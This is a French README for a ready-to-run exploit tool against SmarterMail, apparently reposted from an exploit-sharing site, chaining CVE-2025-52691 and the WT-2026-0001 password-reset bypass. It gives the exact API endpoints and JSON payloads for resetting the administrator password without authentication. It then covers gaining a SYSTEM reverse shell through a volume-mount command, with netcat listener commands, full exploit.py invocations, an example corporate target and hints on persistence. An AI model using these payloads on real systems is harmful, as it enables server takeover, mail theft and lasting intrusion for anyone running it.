CVE-2025-52691 / WT-2026-0001 - Exploit SmarterMail

🚨 AVIS IMPORTANT

Cet outil est réservé aux tests de sécurité autorisés et à des fins éducatives uniquement !

• Toute utilisation non autorisée est illégale et contraire à l'éthique
• Utiliser uniquement sur des systèmes avec autorisation explicite
• Utilisation à vos propres risques
• Les utilisateurs sont responsables du respect de toutes les lois applicables

📋 Aperçu

Cet exploit combine deux vulnérabilités critiques dans SmarterMail :

1. CVE-2025-52691 : Exécution de code à distance sans authentification via téléchargement de fichier
   • Score CVSS : 10.0 (Critique)
   • Versions concernées : Build 9406 et antérieures, Build 16.3.6989.16341 et antérieures
   • Versions corrigées : Build 9413 et ultérieures

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

2. WT-2026-0001 : Contournement d'authentification via réinitialisation de mot de passe
   • Aucun identifiant CVE attribué
   • Versions concernées : Jusqu'au Build 9510
   • Versions corrigées : Build 9511 (15 janvier 2026)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

Vecteur d'attaque

L'exploit réalise une attaque en 3 phases :

1. Phase 1 : Contournement d'authentification via WT-2026-0001

   • Changer le mot de passe administrateur sans vérification de l'ancien mot de passe

2. Phase 2 : Connexion administrateur avec le nouveau mot de passe

   • S'authentifier à l'interface Web de SmarterMail

3. Phase 3 : Exécution de code à distance via la fonctionnalité de montage de volumes

   • Créer un montage de volume avec une commande de shell inversé
   • Exécuter des commandes du système d'exploitation avec les privilèges SYSTEM

Prérequis

Configuration système requise

• Python 3.6+
• Netcat (nc)
• curl
• Linux/macOS/Windows (WSL)

Instructions d'installation

# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# Install netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

Installer les dépendances

# Python dependencies (if needed)
pip3 install requests

Démarrage rapide

Méthode 1 : Configuration automatisée (recommandée)

# Make executable
chmod +x run_exploit.sh

# Automated setup
./run_exploit.sh --auto

# Or interactive setup
./run_exploit.sh

Méthode 2 : Exécution directe

# Setup listener (in one terminal)
nc -lvnp 4444

# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Méthode 3 : Avec toutes les options

python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

Instructions détaillées

Étape 1 : Préparation

1. Identification de la cible

   root@kitploit:~

   # Check target host
   curl -I http://192.168.1.100:9998
   
   # Identify SmarterMail version
   # (Usually in login page or HTTP headers)
   

2. Configuration de l'écouteur

   root@kitploit:~

   # In Terminal 1: Start listener
   nc -lvnp 4444
   
   # The listener must be running before the exploit is executed
   

3. Validation réseau

   root@kitploit:~

   # Ensure connection between attacker and target is possible
   ping 192.168.1.100
   nc -zv 192.168.1.100 9998
   

Étape 2 : Exécution de l'exploit

# With the runner script (recommended)
./run_exploit.sh

# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Étape 3 : Après l'exploit

1. Connexion au shell

   root@kitploit:~

   # In the listener terminal, a connection should now appear
   # You should have a SYSTEM shell
   

2. Vérifier l'accès

   root@kitploit:~

   # In the obtained shell
   whoami
   hostname
   ipconfig /all  # Windows
   ifconfig       # Linux
   

3. Accès persistant

   root@kitploit:~

   # Optional: Set up persistence
   # Windows: Install as service
   # Linux: Cron job or systemd service
   

🔧 Options de configuration

Paramètres de Exploit.py

Paramètres de Run_Exploit.sh

Exemples

Exemple 1 : Utilisation de base

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Exemple 2 : Avec des identifiants personnalisés

python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

Exemple 3 : Mode débogage

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

Exemple 4 : Configuration automatisée

./run_exploit.sh --auto

Détails techniques

Phase 1 : Contournement d'authentification

Point de terminaison : POST /api/v1/auth/force-reset-password

Charge utile :

{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

Réponse en cas de succès :

{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

Phase 2 : Connexion administrateur

Point de terminaison : POST /api/v1/auth/login

Charge utile :

{
  "username": "admin",
  "password": "NewPassword123!@#"
}

Phase 3 : Exécution de code à distance via montage de volumes

Point de terminaison : POST /api/v1/settings/volume-mounts

Charge utile :

{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

Dépannage

Problèmes courants

1. Port bloqué

# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998

2. Écouteur inaccessible

# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444

3. Échec de l'authentification

# Error: "Login failed"
# Solution: Check target version (must be vulnerable)

5. Échec de l'exécution de code à distance

# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system

Mode débogage

Activez le mode débogage pour une sortie détaillée :

python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

⚠️ Notes de sécurité

Aspects juridiques

• Effectuer uniquement des tests autorisés
• Obtenir une autorisation écrite
• Assurer la conformité avec les lois locales
• Aucun test sur les systèmes de production

Précautions de sécurité

1. Environnement de test : Toujours tester dans des environnements contrôlés
2. Validation de la cible : S'assurer que la cible est un système de test
3. Isolement réseau : Séparer les systèmes de test du réseau de production
4. Documentation : Documenter tous les tests
5. Nettoyage : Supprimer toutes les traces après les tests

Utilisation responsable

• Ne pas causer de dommages
• Ne pas voler ou manipuler des données
• Ne pas désactiver les systèmes
• Être transparent envers les parties responsables

Mises à jour et maintenance

Notes de version

• v1.0 : Version initiale avec toutes les fonctionnalités
• Mises à jour futures : Améliorations de la gestion des erreurs et de la stabilité

🙏 Remerciements

• watchTowr Labs pour la recherche originale
• Communauté de recherche en sécurité pour le soutien
• Tous ceux qui ont contribué aux améliorations

⚠️ Rappelez-vous : Un grand pouvoir implique de grandes responsabilités !